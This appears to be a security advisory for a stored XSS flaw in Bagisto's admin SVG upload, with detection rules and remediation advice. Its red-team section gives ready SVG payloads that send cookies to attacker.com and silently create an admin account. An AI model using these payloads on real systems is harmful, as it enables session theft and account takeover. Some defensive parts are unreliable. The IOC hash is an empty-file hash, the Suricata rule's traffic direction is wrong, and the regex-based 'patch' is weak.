CVE-2025-60880

Executive Summary

CVE-2025-60880 is an authenticated stored Cross-Site Scripting (XSS) vulnerability in the Bagisto 2.3.6 admin panel. An attacker with admin-level privileges can upload a crafted SVG file containing malicious JavaScript code during the product creation process. When the SVG is rendered in the browser, the JavaScript executes, enabling session hijacking, data theft, or unauthorized actions. The vulnerability has a CVSS score of 8.3 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains significant for exposed admin panels.

Supply Chain & Package Security

Bagisto is a PHP-based e-commerce platform built on Laravel. The vulnerability resides in the admin panel's file upload functionality, specifically in the handling of SVG files. Since SVG files can contain embedded JavaScript, the lack of proper sanitization or Content-Type validation allows arbitrary script execution. This is a supply chain risk for any organization using Bagisto 2.3.6, as the admin panel is a critical component for managing products and store configuration.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: High (PR:H) – Attacker must be an authenticated admin.
• User Interaction: Required (UI:R) – Victim must view the malicious SVG.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Potential data theft.
• Integrity Impact: High (I:H) – Potential unauthorized actions.
• Availability Impact: High (A:H) – Potential session hijacking leading to denial of service.

Threat Level: High. Although exploitation requires admin privileges, the impact is severe. An attacker who compromises an admin account can use this vulnerability to escalate privileges, steal data, or pivot to other systems.

Deep Dive & Mechanics

The vulnerability exists in the product creation path of Bagisto's admin panel. When an admin user creates or edits a product, they can upload images. The application fails to properly validate the uploaded file's content type or sanitize SVG files. An attacker can craft an SVG file with embedded JavaScript, such as:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

When the admin panel renders this SVG (e.g., in a product image preview), the browser executes the JavaScript. The script can access cookies, local storage, or perform actions on behalf of the admin user. Since the admin panel typically has elevated privileges, the attacker can perform actions like creating new admin accounts, modifying orders, or exfiltrating customer data.

Root Cause: Lack of input validation and sanitization for SVG file uploads. The application likely checks only the file extension (e.g., .svg) but does not inspect the file content for malicious scripts.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code path. The vulnerable code likely resides in a file upload handler, such as:

Vulnerable (Hypothetical):

// app/Http/Controllers/Admin/ProductController.php
public function uploadImage(Request $request) {
    $file = $request->file('image');
    $filename = $file->getClientOriginalName();
    $file->move(public_path('uploads'), $filename);
    // No content validation
    return response()->json(['url' => '/uploads/' . $filename]);
}

Patched (Hypothetical):

// app/Http/Controllers/Admin/ProductController.php
public function uploadImage(Request $request) {
    $file = $request->file('image');
    $filename = $file->getClientOriginalName();
    // Validate MIME type and content
    $allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($file->getMimeType(), $allowedMimes)) {
        return response()->json(['error' => 'Invalid file type'], 400);
    }
    // Sanitize SVG content if allowed
    $content = file_get_contents($file->getRealPath());
    $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
    file_put_contents(public_path('uploads') . '/' . $filename, $content);
    return response()->json(['url' => '/uploads/' . $filename]);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Bagisto admin panel (e.g., admin@example.com / password)
• Ability to create or edit a product

Steps:

1. Craft a malicious SVG file with JavaScript payload:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
     </script>
   </svg>
   

2. Log in to the Bagisto admin panel.
3. Navigate to Products → Create Product.
4. In the product image upload field, select the malicious SVG file.
5. Save the product.
6. When any admin views the product (e.g., in the product list or edit page), the JavaScript executes, sending cookies to the attacker's server.

Advanced Payload: Use a payload that creates a new admin user:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    fetch('/admin/users/create', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'name=attacker&email=attacker@example.com&password=password&password_confirmation=password&role_id=1'
    });
  </script>
</svg>

Blue Team

Detection:

• Monitor file upload logs for SVG files uploaded by admin users.
• Use WAF rules to block SVG files with embedded <script> tags.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable SVG uploads entirely if not needed.
• Sanitize SVG files by removing all <script> tags and event handlers (e.g., onload, onclick).
• Use a library like enshrined/svg-sanitizer for PHP.

Hunting:

• Search for SVG files in the uploads directory that contain <script> tags.
• Review web server logs for requests to /uploads/*.svg followed by unusual outbound connections.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• Network Indicators:
  • Outbound connections to attacker.com or unknown IPs from the admin panel.
  • HTTP requests containing document.cookie in the query string.
• File System Indicators:
  • SVG files in /uploads/ directory with <script> tags.
  • Unusual admin user accounts created via the admin panel.
• Log Indicators:
  • Web server logs showing POST requests to /admin/products with SVG file uploads.
  • Application logs showing file_get_contents or move_uploaded_file for SVG files.

Detection Engineering

YARA Rule

rule CVE_2025_60880_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with embedded JavaScript for CVE-2025-60880"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60880"
    strings:
        $svg_header = "<?xml" ascii wide nocase
        $svg_tag = "<svg" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $js_payload = /<script[^>]*>.*?<\/script>/ ascii wide nocase
    condition:
        $svg_header and $svg_tag and $script_tag and $js_payload
}

Sigma Rule

title: CVE-2025-60880 - Bagisto Admin SVG Upload XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of SVG files with embedded JavaScript in Bagisto admin panel
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-60880
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/products/*'
        cs-uri-query|contains: 'image'
        sc-status: 200
    filter:
        cs-uri-query|endswith: '.svg'
    condition: selection and filter
falsepositives:
    - Legitimate SVG uploads by admin users
level: high
tags:
    - attack.t1190
    - cve.2025.60880

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60880 Bagisto Admin SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/products/"; http_uri; content:".svg"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the Bagisto admin panel by modifying the file upload configuration to only allow JPEG, PNG, and GIF.
2. Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'none'; img-src 'self' data:;
   

3. Use a WAF to block SVG files containing <script> tags.

Long-Term Fix:

• Apply a patch from Bagisto when available.
• Sanitize all uploaded SVG files using a library like enshrined/svg-sanitizer.
• Validate file content MIME type server-side, not just extension.

Workaround:

• If SVG uploads are required, convert them to PNG server-side using a library like Imagick.

Valters IT